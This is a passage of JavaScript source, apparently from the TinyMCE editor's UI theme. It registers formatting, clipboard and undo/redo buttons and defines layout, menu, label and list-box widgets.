      return menuItem && menuItem.text === '-';
    };
    var trimMenuItems = function (menuItems) {
      var menuItems2 = filter(menuItems, function (menuItem, i) {
        return !isSeparator(menuItem) || !isSeparator(menuItems[i - 1]);
      });
      return filter(menuItems2, function (menuItem, i) {
        return !isSeparator(menuItem) || i > 0 && i < menuItems2.length - 1;
      });
    };
    var createContextMenuItems = function (editor, context) {
      var outputMenuItems = [{ text: '-' }];
      var menuItems = global$4.grep(editor.menuItems, function (menuItem) {
        return menuItem.context === context;
      });
      global$4.each(menuItems, function (menuItem) {
        if (menuItem.separator === 'before') {
          outputMenuItems.push({ text: '|' });
        }
        if (menuItem.prependToContext) {
          outputMenuItems.unshift(menuItem);
        } else {
          outputMenuItems.push(menuItem);
        }
        if (menuItem.separator === 'after') {
          outputMenuItems.push({ text: '|' });
        }
      });
      return outputMenuItems;
    };
    var createInsertMenu = function (editor) {
      var insertButtonItems = editor.settings.insert_button_items;
      if (insertButtonItems) {
        return trimMenuItems(createCustomMenuItems(editor, insertButtonItems));
      } else {
        return trimMenuItems(createContextMenuItems(editor, 'insert'));
      }
    };
    var registerButtons$3 = function (editor) {
      editor.addButton('insert', {
        type: 'menubutton',
        icon: 'insert',
        menu: [],
        oncreatemenu: function () {
          this.menu.add(createInsertMenu(editor));
          this.menu.renderNew();
        }
      });
    };
    var register$5 = function (editor) {
      registerButtons$3(editor);
    };
    var InsertButton = { register: register$5 };

    var registerFormatButtons = function (editor) {
      global$4.each({
        bold: 'Bold',
        italic: 'Italic',
        underline: 'Underline',
        strikethrough: 'Strikethrough',
        subscript: 'Subscript',
        superscript: 'Superscript'
      }, function (text, name) {
        editor.addButton(name, {
          active: false,
          tooltip: text,
          onPostRender: postRenderFormatToggle(editor, name),
          onclick: toggleFormat(editor, name)
        });
      });
    };
    var registerCommandButtons = function (editor) {
      global$4.each({
        outdent: [
          'Decrease indent',
          'Outdent'
        ],
        indent: [
          'Increase indent',
          'Indent'
        ],
        cut: [
          'Cut',
          'Cut'
        ],
        copy: [
          'Copy',
          'Copy'
        ],
        paste: [
          'Paste',
          'Paste'
        ],
        help: [
          'Help',
          'mceHelp'
        ],
        selectall: [
          'Select all',
          'SelectAll'
        ],
        visualaid: [
          'Visual aids',
          'mceToggleVisualAid'
        ],
        newdocument: [
          'New document',
          'mceNewDocument'
        ],
        removeformat: [
          'Clear formatting',
          'RemoveFormat'
        ],
        remove: [
          'Remove',
          'Delete'
        ]
      }, function (item, name) {
        editor.addButton(name, {
          tooltip: item[0],
          cmd: item[1]
        });
      });
    };
    var registerCommandToggleButtons = function (editor) {
      global$4.each({
        blockquote: [
          'Blockquote',
          'mceBlockQuote'
        ],
        subscript: [
          'Subscript',
          'Subscript'
        ],
        superscript: [
          'Superscript',
          'Superscript'
        ]
      }, function (item, name) {
        editor.addButton(name, {
          active: false,
          tooltip: item[0],
          cmd: item[1],
          onPostRender: postRenderFormatToggle(editor, name)
        });
      });
    };
    var registerButtons$4 = function (editor) {
      registerFormatButtons(editor);
      registerCommandButtons(editor);
      registerCommandToggleButtons(editor);
    };
    var registerMenuItems$1 = function (editor) {
      global$4.each({
        bold: [
          'Bold',
          'Bold',
          'Meta+B'
        ],
        italic: [
          'Italic',
          'Italic',
          'Meta+I'
        ],
        underline: [
          'Underline',
          'Underline',
          'Meta+U'
        ],
        strikethrough: [
          'Strikethrough',
          'Strikethrough'
        ],
        subscript: [
          'Subscript',
          'Subscript'
        ],
        superscript: [
          'Superscript',
          'Superscript'
        ],
        removeformat: [
          'Clear formatting',
          'RemoveFormat'
        ],
        newdocument: [
          'New document',
          'mceNewDocument'
        ],
        cut: [
          'Cut',
          'Cut',
          'Meta+X'
        ],
        copy: [
          'Copy',
          'Copy',
          'Meta+C'
        ],
        paste: [
          'Paste',
          'Paste',
          'Meta+V'
        ],
        selectall: [
          'Select all',
          'SelectAll',
          'Meta+A'
        ]
      }, function (item, name) {
        editor.addMenuItem(name, {
          text: item[0],
          icon: name,
          shortcut: item[2],
          cmd: item[1]
        });
      });
      editor.addMenuItem('codeformat', {
        text: 'Code',
        icon: 'code',
        onclick: toggleFormat(editor, 'code')
      });
    };
    var register$6 = function (editor) {
      registerButtons$4(editor);
      registerMenuItems$1(editor);
    };
    var SimpleControls = { register: register$6 };

    var toggleUndoRedoState = function (editor, type) {
      return function () {
        var self = this;
        var checkState = function () {
          var typeFn = type === 'redo' ? 'hasRedo' : 'hasUndo';
          return editor.undoManager ? editor.undoManager[typeFn]() : false;
        };
        self.disabled(!checkState());
        editor.on('Undo Redo AddUndo TypingUndo ClearUndos SwitchMode', function () {
          self.disabled(editor.readonly || !checkState());
        });
      };
    };
    var registerMenuItems$2 = function (editor) {
      editor.addMenuItem('undo', {
        text: 'Undo',
        icon: 'undo',
        shortcut: 'Meta+Z',
        onPostRender: toggleUndoRedoState(editor, 'undo'),
        cmd: 'undo'
      });
      editor.addMenuItem('redo', {
        text: 'Redo',
        icon: 'redo',
        shortcut: 'Meta+Y',
        onPostRender: toggleUndoRedoState(editor, 'redo'),
        cmd: 'redo'
      });
    };
    var registerButtons$5 = function (editor) {
      editor.addButton('undo', {
        tooltip: 'Undo',
        onPostRender: toggleUndoRedoState(editor, 'undo'),
        cmd: 'undo'
      });
      editor.addButton('redo', {
        tooltip: 'Redo',
        onPostRender: toggleUndoRedoState(editor, 'redo'),
        cmd: 'redo'
      });
    };
    var register$7 = function (editor) {
      registerMenuItems$2(editor);
      registerButtons$5(editor);
    };
    var UndoRedo = { register: register$7 };

    var toggleVisualAidState = function (editor) {
      return function () {
        var self = this;
        editor.on('VisualAid', function (e) {
          self.active(e.hasVisual);
        });
        self.active(editor.hasVisual);
      };
    };
    var registerMenuItems$3 = function (editor) {
      editor.addMenuItem('visualaid', {
        text: 'Visual aids',
        selectable: true,
        onPostRender: toggleVisualAidState(editor),
        cmd: 'mceToggleVisualAid'
      });
    };
    var register$8 = function (editor) {
      registerMenuItems$3(editor);
    };
    var VisualAid = { register: register$8 };

    var setupEnvironment = function () {
      Widget.tooltips = !global$1.iOS;
      Control$1.translate = function (text) {
        return global$5.translate(text);
      };
    };
    var setupUiContainer = function (editor) {
      if (editor.settings.ui_container) {
        global$1.container = descendant(Element.fromDom(domGlobals.document.body), editor.settings.ui_container).fold(constant(null), function (elm) {
          return elm.dom();
        });
      }
    };
    var setupRtlMode = function (editor) {
      if (editor.rtl) {
        Control$1.rtl = true;
      }
    };
    var setupHideFloatPanels = function (editor) {
      editor.on('mousedown progressstate', function () {
        FloatPanel.hideAll();
      });
    };
    var setup = function (editor) {
      setupRtlMode(editor);
      setupHideFloatPanels(editor);
      setupUiContainer(editor);
      setupEnvironment();
      FormatSelect.register(editor);
      Align.register(editor);
      SimpleControls.register(editor);
      UndoRedo.register(editor);
      FontSizeSelect.register(editor);
      FontSelect.register(editor);
      Formats.register(editor);
      VisualAid.register(editor);
      InsertButton.register(editor);
    };
    var FormatControls = { setup: setup };

    var GridLayout = AbsoluteLayout.extend({
      recalc: function (container) {
        var settings, rows, cols, items, contLayoutRect, width, height, rect, ctrlLayoutRect, ctrl, x, y, posX, posY, ctrlSettings, contPaddingBox, align, spacingH, spacingV, alignH, alignV, maxX, maxY;
        var colWidths = [];
        var rowHeights = [];
        var ctrlMinWidth, ctrlMinHeight, availableWidth, availableHeight, reverseRows, idx;
        settings = container.settings;
        items = container.items().filter(':visible');
        contLayoutRect = container.layoutRect();
        cols = settings.columns || Math.ceil(Math.sqrt(items.length));
        rows = Math.ceil(items.length / cols);
        spacingH = settings.spacingH || settings.spacing || 0;
        spacingV = settings.spacingV || settings.spacing || 0;
        alignH = settings.alignH || settings.align;
        alignV = settings.alignV || settings.align;
        contPaddingBox = container.paddingBox;
        reverseRows = 'reverseRows' in settings ? settings.reverseRows : container.isRtl();
        if (alignH && typeof alignH === 'string') {
          alignH = [alignH];
        }
        if (alignV && typeof alignV === 'string') {
          alignV = [alignV];
        }
        for (x = 0; x < cols; x++) {
          colWidths.push(0);
        }
        for (y = 0; y < rows; y++) {
          rowHeights.push(0);
        }
        for (y = 0; y < rows; y++) {
          for (x = 0; x < cols; x++) {
            ctrl = items[y * cols + x];
            if (!ctrl) {
              break;
            }
            ctrlLayoutRect = ctrl.layoutRect();
            ctrlMinWidth = ctrlLayoutRect.minW;
            ctrlMinHeight = ctrlLayoutRect.minH;
            colWidths[x] = ctrlMinWidth > colWidths[x] ? ctrlMinWidth : colWidths[x];
            rowHeights[y] = ctrlMinHeight > rowHeights[y] ? ctrlMinHeight : rowHeights[y];
          }
        }
        availableWidth = contLayoutRect.innerW - contPaddingBox.left - contPaddingBox.right;
        for (maxX = 0, x = 0; x < cols; x++) {
          maxX += colWidths[x] + (x > 0 ? spacingH : 0);
          availableWidth -= (x > 0 ? spacingH : 0) + colWidths[x];
        }
        availableHeight = contLayoutRect.innerH - contPaddingBox.top - contPaddingBox.bottom;
        for (maxY = 0, y = 0; y < rows; y++) {
          maxY += rowHeights[y] + (y > 0 ? spacingV : 0);
          availableHeight -= (y > 0 ? spacingV : 0) + rowHeights[y];
        }
        maxX += contPaddingBox.left + contPaddingBox.right;
        maxY += contPaddingBox.top + contPaddingBox.bottom;
        rect = {};
        rect.minW = maxX + (contLayoutRect.w - contLayoutRect.innerW);
        rect.minH = maxY + (contLayoutRect.h - contLayoutRect.innerH);
        rect.contentW = rect.minW - contLayoutRect.deltaW;
        rect.contentH = rect.minH - contLayoutRect.deltaH;
        rect.minW = Math.min(rect.minW, contLayoutRect.maxW);
        rect.minH = Math.min(rect.minH, contLayoutRect.maxH);
        rect.minW = Math.max(rect.minW, contLayoutRect.startMinWidth);
        rect.minH = Math.max(rect.minH, contLayoutRect.startMinHeight);
        if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
          rect.w = rect.minW;
          rect.h = rect.minH;
          container.layoutRect(rect);
          this.recalc(container);
          if (container._lastRect === null) {
            var parentCtrl = container.parent();
            if (parentCtrl) {
              parentCtrl._lastRect = null;
              parentCtrl.recalc();
            }
          }
          return;
        }
        if (contLayoutRect.autoResize) {
          rect = container.layoutRect(rect);
          rect.contentW = rect.minW - contLayoutRect.deltaW;
          rect.contentH = rect.minH - contLayoutRect.deltaH;
        }
        var flexV;
        if (settings.packV === 'start') {
          flexV = 0;
        } else {
          flexV = availableHeight > 0 ? Math.floor(availableHeight / rows) : 0;
        }
        var totalFlex = 0;
        var flexWidths = settings.flexWidths;
        if (flexWidths) {
          for (x = 0; x < flexWidths.length; x++) {
            totalFlex += flexWidths[x];
          }
        } else {
          totalFlex = cols;
        }
        var ratio = availableWidth / totalFlex;
        for (x = 0; x < cols; x++) {
          colWidths[x] += flexWidths ? flexWidths[x] * ratio : ratio;
        }
        posY = contPaddingBox.top;
        for (y = 0; y < rows; y++) {
          posX = contPaddingBox.left;
          height = rowHeights[y] + flexV;
          for (x = 0; x < cols; x++) {
            if (reverseRows) {
              idx = y * cols + cols - 1 - x;
            } else {
              idx = y * cols + x;
            }
            ctrl = items[idx];
            if (!ctrl) {
              break;
            }
            ctrlSettings = ctrl.settings;
            ctrlLayoutRect = ctrl.layoutRect();
            width = Math.max(colWidths[x], ctrlLayoutRect.startMinWidth);
            ctrlLayoutRect.x = posX;
            ctrlLayoutRect.y = posY;
            align = ctrlSettings.alignH || (alignH ? alignH[x] || alignH[0] : null);
            if (align === 'center') {
              ctrlLayoutRect.x = posX + width / 2 - ctrlLayoutRect.w / 2;
            } else if (align === 'right') {
              ctrlLayoutRect.x = posX + width - ctrlLayoutRect.w;
            } else if (align === 'stretch') {
              ctrlLayoutRect.w = width;
            }
            align = ctrlSettings.alignV || (alignV ? alignV[x] || alignV[0] : null);
            if (align === 'center') {
              ctrlLayoutRect.y = posY + height / 2 - ctrlLayoutRect.h / 2;
            } else if (align === 'bottom') {
              ctrlLayoutRect.y = posY + height - ctrlLayoutRect.h;
            } else if (align === 'stretch') {
              ctrlLayoutRect.h = height;
            }
            ctrl.layoutRect(ctrlLayoutRect);
            posX += width + spacingH;
            if (ctrl.recalc) {
              ctrl.recalc();
            }
          }
          posY += height + spacingV;
        }
      }
    });

    var Iframe = Widget.extend({
      renderHtml: function () {
        var self = this;
        self.classes.add('iframe');
        self.canFocus = false;
        return '<iframe id="' + self._id + '" class="' + self.classes + '" tabindex="-1" src="' + (self.settings.url || 'javascript:\'\'') + '" frameborder="0"></iframe>';
      },
      src: function (src) {
        this.getEl().src = src;
      },
      html: function (html, callback) {
        var self = this, body = this.getEl().contentWindow.document.body;
        if (!body) {
          global$3.setTimeout(function () {
            self.html(html);
          });
        } else {
          body.innerHTML = html;
          if (callback) {
            callback();
          }
        }
        return this;
      }
    });

    var InfoBox = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('widget').add('infobox');
        self.canFocus = false;
      },
      severity: function (level) {
        this.classes.remove('error');
        this.classes.remove('warning');
        this.classes.remove('success');
        this.classes.add(level);
      },
      help: function (state) {
        this.state.set('help', state);
      },
      renderHtml: function () {
        var self = this, prefix = self.classPrefix;
        return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + self.encode(self.state.get('text')) + '<button role="button" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-help"></i>' + '</button>' + '</div>' + '</div>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.getEl('body').firstChild.data = self.encode(e.value);
          if (self.state.get('rendered')) {
            self.updateLayoutRect();
          }
        });
        self.state.on('change:help', function (e) {
          self.classes.toggle('has-help', e.value);
          if (self.state.get('rendered')) {
            self.updateLayoutRect();
          }
        });
        return self._super();
      }
    });

    var Label = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('widget').add('label');
        self.canFocus = false;
        if (settings.multiline) {
          self.classes.add('autoscroll');
        }
        if (settings.strong) {
          self.classes.add('strong');
        }
      },
      initLayoutRect: function () {
        var self = this, layoutRect = self._super();
        if (self.settings.multiline) {
          var size = funcs.getSize(self.getEl());
          if (size.width > layoutRect.maxW) {
            layoutRect.minW = layoutRect.maxW;
            self.classes.add('multiline');
          }
          self.getEl().style.width = layoutRect.minW + 'px';
          layoutRect.startMinH = layoutRect.h = layoutRect.minH = Math.min(layoutRect.maxH, funcs.getSize(self.getEl()).height);
        }
        return layoutRect;
      },
      repaint: function () {
        var self = this;
        if (!self.settings.multiline) {
          self.getEl().style.lineHeight = self.layoutRect().h + 'px';
        }
        return self._super();
      },
      severity: function (level) {
        this.classes.remove('error');
        this.classes.remove('warning');
        this.classes.remove('success');
        this.classes.add(level);
      },
      renderHtml: function () {
        var self = this;
        var targetCtrl, forName, forId = self.settings.forId;
        var text = self.settings.html ? self.settings.html : self.encode(self.state.get('text'));
        if (!forId && (forName = self.settings.forName)) {
          targetCtrl = self.getRoot().find('#' + forName)[0];
          if (targetCtrl) {
            forId = targetCtrl._id;
          }
        }
        if (forId) {
          return '<label id="' + self._id + '" class="' + self.classes + '"' + (forId ? ' for="' + forId + '"' : '') + '>' + text + '</label>';
        }
        return '<span id="' + self._id + '" class="' + self.classes + '">' + text + '</span>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.innerHtml(self.encode(e.value));
          if (self.state.get('rendered')) {
            self.updateLayoutRect();
          }
        });
        return self._super();
      }
    });

    var Toolbar$1 = Container.extend({
      Defaults: {
        role: 'toolbar',
        layout: 'flow'
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('toolbar');
      },
      postRender: function () {
        var self = this;
        self.items().each(function (ctrl) {
          ctrl.classes.add('toolbar-item');
        });
        return self._super();
      }
    });

    var MenuBar = Toolbar$1.extend({
      Defaults: {
        role: 'menubar',
        containerCls: 'menubar',
        ariaRoot: true,
        defaults: { type: 'menubutton' }
      }
    });

    function isChildOf$1(node, parent) {
      while (node) {
        if (parent === node) {
          return true;
        }
        node = node.parentNode;
      }
      return false;
    }
    var MenuButton = Button.extend({
      init: function (settings) {
        var self = this;
        self._renderOpen = true;
        self._super(settings);
        settings = self.settings;
        self.classes.add('menubtn');
        if (settings.fixedWidth) {
          self.classes.add('fixed-width');
        }
        self.aria('haspopup', true);
        self.state.set('menu', settings.menu || self.render());
      },
      showMenu: function (toggle) {
        var self = this;
        var menu;
        if (self.menu && self.menu.visible() && toggle !== false) {
          return self.hideMenu();
        }
        if (!self.menu) {
          menu = self.state.get('menu') || [];
          self.classes.add('opened');
          if (menu.length) {
            menu = {
              type: 'menu',
              animate: true,
              items: menu
            };
          } else {
            menu.type = menu.type || 'menu';
            menu.animate = true;
          }
          if (!menu.renderTo) {
            self.menu = global$b.create(menu).parent(self).renderTo();
          } else {
            self.menu = menu.parent(self).show().renderTo();
          }
          self.fire('createmenu');
          self.menu.reflow();
          self.menu.on('cancel', function (e) {
            if (e.control.parent() === self.menu) {
              e.stopPropagation();
              self.focus();
              self.hideMenu();
            }
          });
          self.menu.on('select', function () {
            self.focus();
          });
          self.menu.on('show hide', function (e) {
            if (e.type === 'hide' && e.control.parent() === self) {
              self.classes.remove('opened-under');
            }
            if (e.control === self.menu) {
              self.activeMenu(e.type === 'show');
              self.classes.toggle('opened', e.type === 'show');
            }
            self.aria('expanded', e.type === 'show');
          }).fire('show');
        }
        self.menu.show();
        self.menu.layoutRect({ w: self.layoutRect().w });
        self.menu.repaint();
        self.menu.moveRel(self.getEl(), self.isRtl() ? [
          'br-tr',
          'tr-br'
        ] : [
          'bl-tl',
          'tl-bl'
        ]);
        var menuLayoutRect = self.menu.layoutRect();
        var selfBottom = self.$el.offset().top + self.layoutRect().h;
        if (selfBottom > menuLayoutRect.y && selfBottom < menuLayoutRect.y + menuLayoutRect.h) {
          self.classes.add('opened-under');
        }
        self.fire('showmenu');
      },
      hideMenu: function () {
        var self = this;
        if (self.menu) {
          self.menu.items().each(function (item) {
            if (item.hideMenu) {
              item.hideMenu();
            }
          });
          self.menu.hide();
        }
      },
      activeMenu: function (state) {
        this.classes.toggle('active', state);
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        var icon = self.settings.icon, image;
        var text = self.state.get('text');
        var textHtml = '';
        image = self.settings.image;
        if (image) {
          icon = 'none';
          if (typeof image !== 'string') {
            image = domGlobals.window.getSelection ? image[0] : image[1];
          }
          image = ' style="background-image: url(\'' + image + '\')"';
        } else {
          image = '';
        }
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
        self.aria('role', self.parent() instanceof MenuBar ? 'menuitem' : 'button');
        return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1" aria-labelledby="' + id + '">' + '<button id="' + id + '-open" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self.on('click', function (e) {
          if (e.control === self && isChildOf$1(e.target, self.getEl())) {
            self.focus();
            self.showMenu(!e.aria);
            if (e.aria) {
              self.menu.items().filter(':visible')[0].focus();
            }
          }
        });
        self.on('mouseenter', function (e) {
          var overCtrl = e.control;
          var parent = self.parent();
          var hasVisibleSiblingMenu;
          if (overCtrl && parent && overCtrl instanceof MenuButton && overCtrl.parent() === parent) {
            parent.items().filter('MenuButton').each(function (ctrl) {
              if (ctrl.hideMenu && ctrl !== overCtrl) {
                if (ctrl.menu && ctrl.menu.visible()) {
                  hasVisibleSiblingMenu = true;
                }
                ctrl.hideMenu();
              }
            });
            if (hasVisibleSiblingMenu) {
              overCtrl.focus();
              overCtrl.showMenu();
            }
          }
        });
        return self._super();
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:menu', function () {
          if (self.menu) {
            self.menu.remove();
          }
          self.menu = null;
        });
        return self._super();
      },
      remove: function () {
        this._super();
        if (this.menu) {
          this.menu.remove();
        }
      }
    });

    function Throbber (elm, inline) {
      var self = this;
      var state;
      var classPrefix = Control$1.classPrefix;
      var timer;
      self.show = function (time, callback) {
        function render() {
          if (state) {
            global$7(elm).append('<div class="' + classPrefix + 'throbber' + (inline ? ' ' + classPrefix + 'throbber-inline' : '') + '"></div>');
            if (callback) {
              callback();
            }
          }
        }
        self.hide();
        state = true;
        if (time) {
          timer = global$3.setTimeout(render, time);
        } else {
          render();
        }
        return self;
      };
      self.hide = function () {
        var child = elm.lastChild;
        global$3.clearTimeout(timer);
        if (child && child.className.indexOf('throbber') !== -1) {
          child.parentNode.removeChild(child);
        }
        state = false;
        return self;
      };
    }

    var Menu = FloatPanel.extend({
      Defaults: {
        defaultType: 'menuitem',
        border: 1,
        layout: 'stack',
        role: 'application',
        bodyRole: 'menu',
        ariaRoot: true
      },
      init: function (settings) {
        var self = this;
        settings.autohide = true;
        settings.constrainToViewport = true;
        if (typeof settings.items === 'function') {
          settings.itemsFactory = settings.items;
          settings.items = [];
        }
        if (settings.itemDefaults) {
          var items = settings.items;
          var i = items.length;
          while (i--) {
            items[i] = global$4.extend({}, settings.itemDefaults, items[i]);
          }
        }
        self._super(settings);
        self.classes.add('menu');
        if (settings.animate && global$1.ie !== 11) {
          self.classes.add('animate');
        }
      },
      repaint: function () {
        this.classes.toggle('menu-align', true);
        this._super();
        this.getEl().style.height = '';
        this.getEl('body').style.height = '';
        return this;
      },
      cancel: function () {
        var self = this;
        self.hideAll();
        self.fire('select');
      },
      load: function () {
        var self = this;
        var time, factory;
        function hideThrobber() {
          if (self.throbber) {
            self.throbber.hide();
            self.throbber = null;
          }
        }
        factory = self.settings.itemsFactory;
        if (!factory) {
          return;
        }
        if (!self.throbber) {
          self.throbber = new Throbber(self.getEl('body'), true);
          if (self.items().length === 0) {
            self.throbber.show();
            self.fire('loading');
          } else {
            self.throbber.show(100, function () {
              self.items().remove();
              self.fire('loading');
            });
          }
          self.on('hide close', hideThrobber);
        }
        self.requestTime = time = new Date().getTime();
        self.settings.itemsFactory(function (items) {
          if (items.length === 0) {
            self.hide();
            return;
          }
          if (self.requestTime !== time) {
            return;
          }
          self.getEl().style.width = '';
          self.getEl('body').style.width = '';
          hideThrobber();
          self.items().remove();
          self.getEl('body').innerHTML = '';
          self.add(items);
          self.renderNew();
          self.fire('loaded');
        });
      },
      hideAll: function () {
        var self = this;
        this.find('menuitem').exec('hideMenu');
        return self._super();
      },
      preRender: function () {
        var self = this;
        self.items().each(function (ctrl) {
          var settings = ctrl.settings;
          if (settings.icon || settings.image || settings.selectable) {
            self._hasIcons = true;
            return false;
          }
        });
        if (self.settings.itemsFactory) {
          self.on('postrender', function () {
            if (self.settings.itemsFactory) {
              self.load();
            }
          });
        }
        self.on('show hide', function (e) {
          if (e.control === self) {
            if (e.type === 'show') {
              global$3.setTimeout(function () {
                self.classes.add('in');
              }, 0);
            } else {
              self.classes.remove('in');
            }
          }
        });
        return self._super();
      }
    });

    var ListBox = MenuButton.extend({
      init: function (settings) {
        var self = this;
        var values, selected, selectedText, lastItemCtrl;
        function setSelected(menuValues) {
          for (var i = 0; i < menuValues.length; i++) {
            selected = menuValues[i].selected || settings.value === menuValues[i].value;
            if (selected) {
              selectedText = selectedText || menuValues[i].text;
              self.state.set('value', menuValues[i].value);
              return true;
            }
            if (menuValues[i].menu) {
              if (setSelected(menuValues[i].menu)) {
                return true;
              }
            }
          }
        }
        self._super(settings);
        settings = self.settings;
        self._values = values = settings.values;
        if (values) {
          if (typeof settings.value !== 'undefined') {
            setSelected(values);
          }
          if (!selected && values.length > 0) {
            selectedText = values[0].text;
            self.state.set('value', values[0].value);
          }
          self.state.set('menu', values);
        }
        self.state.set('text', settings.text || selectedText);
        self.classes.add('listbox');
        self.on('select', function (e) {
          var ctrl = e.control;
          if (lastItemCtrl) {
            e.lastControl = lastItemCtrl;
          }
          if (settings.multiple) {
            ctrl.active(!ctrl.active());
          } else {
            self.value(e.control.value());
          }
          lastItemCtrl = ctrl;
        });
      },
      value: function (value) {
        if (arguments.length === 0) {
          return this.state.get('value');
        }
        if (typeof value === 'undefined') {
          return this;
        }
        function valueExists(values) {
          return exists(values, function (a) {
            return a.menu ? valueExists(a.menu) : a.value === value;
          });
        }
        if (this.settings.values) {
          if (valueExists(this.settings.values)) {
            this.state.set('value', value);
          } else if (value === null) {
            this.state.set('value', null);
          }
        } else {
          this.state.set('value', value);
        }
        return this;
      },
      bindStates: function () {
        var self = this;
        function activateMenuItemsByValue(menu, value) {
          if (menu instanceof Menu) {
            menu.items().each(function (ctrl) {
              if (!ctrl.hasMenus()) {
                ctrl.active(ctrl.value() === value);
              }
            });
          }
        }
        function getSelectedItem(menuValues, value) {
          var selectedItem;
          if (!menuValues) {
            return;
          }
          for (var i = 0; i < menuValues.length; i++) {
            if (menuValues[i].value === value) {
              return menuValues[i];
            }
            if (menuValues[i].menu) {
              selectedItem = getSelectedItem(menuValues[i].menu, value);
              if (selectedItem) {
                return selectedItem;
              }
            }
          }
        }
        self.on('show', function (e) {
          activateMenuItemsByValue(e.control, self.value());
        });
        self.state.on('change:value', function (e) {
          var selectedItem = getSelectedItem(self.state.get('menu'), e.value);
          if (selectedItem) {
            self.text(selectedItem.text);
          } else {
            self.text(self.settings.text);
          }
        });
        return self._super();
      }
    });

    var toggleTextStyle = function (ctrl, state) {
      var textStyle = ctrl._textStyle;
      if (textStyle) {
        var textElm = ctrl.getEl('text');
        textElm.setAttribute('style', textStyle);
        if (state) {
          textElm.style.color = '';
          textElm.style.backgroundColor = '';
        }
      }
    };
    var MenuItem = Widget.extend({
      Defaults: {
        border: 0,
        role: 'menuitem'
      },
      init: function (settings) {
        var self = this;
        var text;
        self._super(settings);
        settings = self.settings;
        self.classes.add('menu-item');
        if (settings.menu) {
          self.classes.add('menu-item-expand');
        }
        if (settings.preview) {
          self.classes.add('menu-item-preview');
        }
        text = self.state.get('text');
        if (text === '-' || text === '|') {
          self.classes.add('menu-item-sep');
          self.aria('role', 'separator');
          self.state.set('text', '-');
        }
        if (settings.selectable) {
          self.aria('role', 'menuitemcheckbox');
          self.classes.add('menu-item-checkbox');
          settings.icon = 'selected';
        }
        if (!settings.preview && !settings.selectable) {
          self.classes.add('menu-item-normal');
        }
        self.on('mousedown', function (e) {
          e.preventDefault();
        });
        if (settings.menu && !settings.ariaHideMenu) {
          self.aria('haspopup', true);
        }
      },
      hasMenus: function () {
        return !!this.settings.menu;
      },
      showMenu: function () {
        var self = this;
        var settings = self.settings;
        var menu;
        var parent = self.parent();
        parent.items().each(function (ctrl) {
          if (ctrl !== self) {
            ctrl.hideMenu();
          }
        });
        if (settings.menu) {
          menu = self.menu;
          if (!menu) {
            menu = settings.menu;
            if (menu.length) {
              menu = {
                type: 'menu',
                items: menu
              };
            } else {
              menu.type = menu.type || 'menu';
            }
            if (parent.settings.itemDefaults) {
              menu.itemDefaults = parent.settings.itemDefaults;
            }
            menu = self.menu = global$b.create(menu).parent(self).renderTo();
            menu.reflow();
            menu.on('cancel', function (e) {
              e.stopPropagation();
              self.focus();
              menu.hide();
            });
            menu.on('show hide', function (e) {
              if (e.control.items) {
                e.control.items().each(function (ctrl) {
                  ctrl.active(ctrl.settings.selected);
                });
              }
            }).fire('show');
            menu.on('hide', function (e) {
              if (e.control === menu) {
                self.classes.remove('selected');
              }
            });
            menu.submenu = true;
          } else {
            menu.show();
          }
          menu._parentMenu = parent;
          menu.classes.add('menu-sub');
          var rel = menu.testMoveRel(self.getEl(), self.isRtl() ? [
            'tl-tr',
            'bl-br',
            'tr-tl',
            'br-bl'
          ] : [
            'tr-tl',
            'br-bl',
            'tl-tr',
            'bl-br'
          ]);
          menu.moveRel(self.getEl(), rel);
          menu.rel = rel;
          rel = 'menu-sub-' + rel;
          menu.classes.remove(menu._lastRel).add(rel);
          menu._lastRel = rel;
          self.classes.add('selected');
          self.aria('expanded', true);
        }
      },
      hideMenu: function () {
        var self = this;
        if (self.menu) {
          self.menu.items().each(function (item) {
            if (item.hideMenu) {
              item.hideMenu();
            }
          });
          self.menu.hide();
          self.aria('expanded', false);
        }
        return self;
      },
      renderHtml: function () {
        var self = this;
        var id = self._id;
        var settings = self.settings;
        var prefix = self.classPrefix;
        var text = self.state.get('text');
        var icon = self.settings.icon, image = '', shortcut = settings.shortcut;
        var url = self.encode(settings.url), iconHtml = '';
        function convertShortcut(shortcut) {
          var i, value, replace = {};
          if (global$1.mac) {
            replace = {
              alt: '&#x2325;',
              ctrl: '&#x2318;',
              shift: '&#x21E7;',
              meta: '&#x2318;'
            };
          } else {
            replace = { meta: 'Ctrl' };
          }
          shortcut = shortcut.split('+');
          for (i = 0; i < shortcut.length; i++) {
            value = replace[shortcut[i].toLowerCase()];
            if (value) {
              shortcut[i] = value;
            }
          }
          return shortcut.join('+');
        }
        function escapeRegExp(str) {
          return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
        }
        function markMatches(text) {
          var match = settings.match || '';
          return match ? text.replace(new RegExp(escapeRegExp(match), 'gi'), function (match) {
            return '!mce~match[' + match + ']mce~match!';
          }) : text;
        }
        function boldMatches(text) {
          return text.replace(new RegExp(escapeRegExp('!mce~match['), 'g'), '<b>').replace(new RegExp(escapeRegExp(']mce~match!'), 'g'), '</b>');
        }
        if (icon) {
          self.parent().classes.add('menu-has-icons');
        }
        if (settings.image) {
          image = ' style="background-image: url(\'' + settings.image + '\')"';
        }
        if (shortcut) {
          shortcut = convertShortcut(shortcut);
        }
        icon = prefix + 'ico ' + prefix + 'i-' + (self.settings.icon || 'none');
        iconHtml = text !== '-' ? '<i class="' + icon + '"' + image + '></i>\xA0' : '';
        text = boldMatches(self.encode(markMatches(text)));
